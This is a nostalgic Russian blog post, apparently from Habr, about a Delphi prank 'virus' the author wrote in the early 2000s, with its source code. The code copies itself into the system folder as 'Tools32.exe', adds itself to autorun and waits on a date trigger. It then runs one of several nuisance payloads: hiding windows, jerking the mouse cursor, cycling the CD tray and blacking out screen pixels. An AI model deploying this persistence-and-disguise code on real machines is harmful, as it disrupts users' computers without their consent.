Как я писал «Вирус-бякус» на Delphi (шутка родом из конца 90-х)

f9ba6dc97588074e342c9aa2d2d2f2c3

Началось всё в самом конце 90-х годов, когда мне в руки попал диск с пиратской копией Delphi какой-то ранней версии. До того момента мой опыт в программировании ограничивался уроками информатики в школе, где мы на древних «Корветах» игрались с BASIC’ом (он там был вместо ОС) и Pascal. Понятно, что никакого понятия об ООП и построении форм я не имел. И где-то около года все мои попытки написать что-нибудь внятное заканчивались плачевно — более или менее внятная форма не умела делать вообще ничего. Так продолжалось до тех пор, пока в нашу деревню не провели интернет. Случилось это (ЕМНИМ) в начале 2001 года. К тому времени я уже был студентом и успел бегло познакомиться с С++, правда, на первом курсе мы писали в TurboC, так что интерес к Delphi только вырос — хотелось писать не консольные древности, а что-нибудь с красивым интерфейсом. А в на просторах Сети к тому времени уже было немало сайтов, посвящённых Delphi (отдельный респект «Королевству Delphi»). Отдельная история — попытки выкачать оффлайн-версию DelphiWorld, пользуясь бесплатным ночным доступом, который в то время предоставляли раз в неделю покупателям «жирных» интернет-карт (номиналом в 250 руб. и более).

В общем, знаний у меня довольно быстро добавилось, учебно-тренировочные проекты писались один за другим. И в какой-то момент захотелось написать что-то, чем можно удивить друзей-товарищей. И где-то в тот момент мне на глаза попалась статья из Delphi World про управление лотком CD-ROM’а. «Блин, да это же идея для вируса!», — подумал я. Не откладывая дело в долгий ящик, я набросал простенький код и закинул паре знакомых. Шутка вышла неплохой, но слишком однообразной. Так что я начал искать, чем же ещё можно мелко поднагадить ближнему своему. В итоге дальнейших поисков появилась на свет штука, которую я назвал «Вирус-бякус». Понятно, что никаким вирусом эта программка не была. Так, небольшой сборник шуток.

Чисто для сохранения истории приведу часть кода этого «страшного вируса» (комментарии сохранены оригинальные, 23-летней выдержки):

// Создание формы
procedure TForm1.FormCreate(Sender: TObject);
begin
  // Прячем окошко
  Form1.Left:=-5;
  Form1.Top:=-5;
  Form1.Height:=0;
  Form1.Width:=0;
  // Ищем себя в системной папке
  if not FileExists(GetSystemDir+'\Tools32.exe') then
   begin
    // если не нашли, то размножаемся...
    FileCopy(Application.ExeName, GetSystemDir+'\Tools32.exe', true, 1);
    // ...запускаем новую копию,...
    WinExec(PChar(GetSystemDir+'\Tools32.exe'),0);
    // закрываем первую копию
    Application.Terminate;
   end
  else
   // ...и начинаем пакостить...
   begin
    // Прописываемся в реестре
    AutoRunner1.AutoRun:=true;
    // Переждем шухер в засаде :-)
    if Date>=StrToDate('13.03.2001') then
     begin
      Sleep(60*1000*35);
      // Попакостим немножко :-)
      RunRandomVirus;
      if not FileExists(GetSystemDir+'\Tools32.exe') then
       begin
        FileCopy(Application.ExeName, GetSystemDir+'\Tools32.exe', true, 1)
       end;
     end;
   end;
end;

Как видите, попытки прикинуться вирусом всё-таки были: программа креативно копирует себя в системную папку и добавляется в автозагрузку. Потом «залипает» на некоторое время и запускает функцию RunRandomVirus. Сама же эта функция — сборная солянка из кусков чужого кода и советов с форумов по Delphi:

// Запуск случайного "вирусоподобного действия"
procedure TForm1.RunRandomVirus;
var
 Vir: byte;
 header: HWND;
 h: HWND;
 KomputerGameOver: boolean;
 OpenParm: TMCI_Open_Parms;
 GenParm: TMCI_Generic_Parms;
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;
 k: boolean;
 i: integer;
 Scr: TCanvas;
 mess: byte;
begin
 randomize;
 Vir:=random(5);
 Case Vir of
 // Бяка первая (пароноидальная)
 1: while true do
      begin
       Sleep(30000);
       header:=GetForegroundWindow;
       SetWindowText(header, 'Я за тобой слежу!!! (Подпись - Злобнай вирюс!)');
      end;
 // Бяка вторая (скрытная)
 2: begin
     h:=GetForegroundWindow;
     ShowWIndow(h, sw_hide);
     Sleep(10000);
     while true do
      begin
       for i:=1 to 3 do
        begin
         h:=GetNextWindow(h, GW_HWNDNEXT);
         ShowWindow(h,SW_HIDE);
         ShowMessage('Утро начинается, начинается!'+#10#13+'Окна закрываются, закрываются!');
        end;
       Sleep(10000);
      end;
    end;
 // Бяка третья (утомительная)
 3: begin
     repeat
      randomize;
      try
       setcursorpos(random(1024),raNDOM(768));
      except
       setcursorpos(random(800),raNDOM(600));
      end;
      sleep (5*1000*6);
     until KomputerGameOver;
    end;
 // Бяка четвертая (музыкальная)
 4: begin
     sleep(60000);
     repeat
      OpenParm.lpstrDeviceType:= 'CDAudio';
      mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));
      DI:= OpenParm.wDeviceID;
      mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
      mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));
      mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));
      sleep(60*100);
     until k;
    end;
 // Бяка пятая (Привет от Чубайса)
 5: begin
     Scr:= TCanvas.Create;
     Scr.handle:= GetDC(0);
     while true do
      begin
       Yield;
       Scr.Pixels[Random(1024), Random(768)]:=0;
       randomize;
       Mess:=random(1);
       if Mess=1 then ShowMessage('Привет от Чубайса!');
       if Mess=0 then ShowMessage('За свет не уплачено!');
      end;
    end;
 // Бяка запосная (болтливая)
 0: begin
     randomize;
     mess:=random(5);
     case mess of
      1: ShowMessage('Привет ламерам от злобных хакеров!');
      2: ShowMessage('Вы уже били Билли или пока не били?');
      3: ShowMessage('Злобный вирус робко причет тело жирное в виндосы!');
      4: ShowMessage('Здесь завёлся злобный вирус!'+#10#13+
                     'Он живёт и шибко гадит!'+#10#13+
                     'Ты дави его скорее,'+#10#13+
                     'А не то Винда поедет'+#10#13+
                     'Прямо в Рэйдмонд к дяде Гейтсу!');
      5: ShowMessage('Вирус-бякус! Версия 0.07'+#10#13+
                     'Скопировано правильно (с) 1147-1703 М.П.Л.Спб'+#10#13+
                     'Обо всех случаях правильной работы системы'+#10#13+
                     'просьба сообщать по адресу: Великобритания,'+#10#13+
                     'Лондон, ул. Бейкера-Стритта, дом 221-б, кв. 1,'+#10#13+
                     'Мы примем меры! Недоразумения будут устранены!');
    end;
 end;
 end;
 end;

По комментариям здесь всё более или менее понятно: при запуске генерируем случайное число и запускаем действие с соответствующим номером. Из приколов мне тогда удалось накреативить: вывод случайного сообщения на экран, смену заголовка активного окна, закрытие активного окна с выводом «пугающего» сообщения, игры с лотком CD-ROM’а, периодическое перемещение курсора мышки в случайную позицию, и (самый шик! :)) — «выгорание» пикселей на экране.

В общем, для студента из начала 2000-х, только начинающего изучать Delphi, штука получилось вполне прикольная. Понятно, что сейчас всё это выглядит сущим баловством. Но поностальгировать было приятно.

Думаю, бОльшая часть программ-шуток тех лет появлялась на свет примерно также — ради бахвальства перед товарищами/коллегами. Какая-то часть этих программ просачивалась в только-только распространяющийся Интернет, какая-то часть — просто гуляла по стране на дискетах. А некоторые (вроде моего «вируса-бякуса») никогда не уходили дальше отдельно взятой деревни.

PS. На случай, если кому-то ещё захочется вспомнить молодость, выкладываю полные исходники. Точно компилировалось в Delphi 7, по идее должно собраться в Lazarus, т.к. ничего сильно специфического там нет, только вызовы WinAPI.

© Habrahabr.ru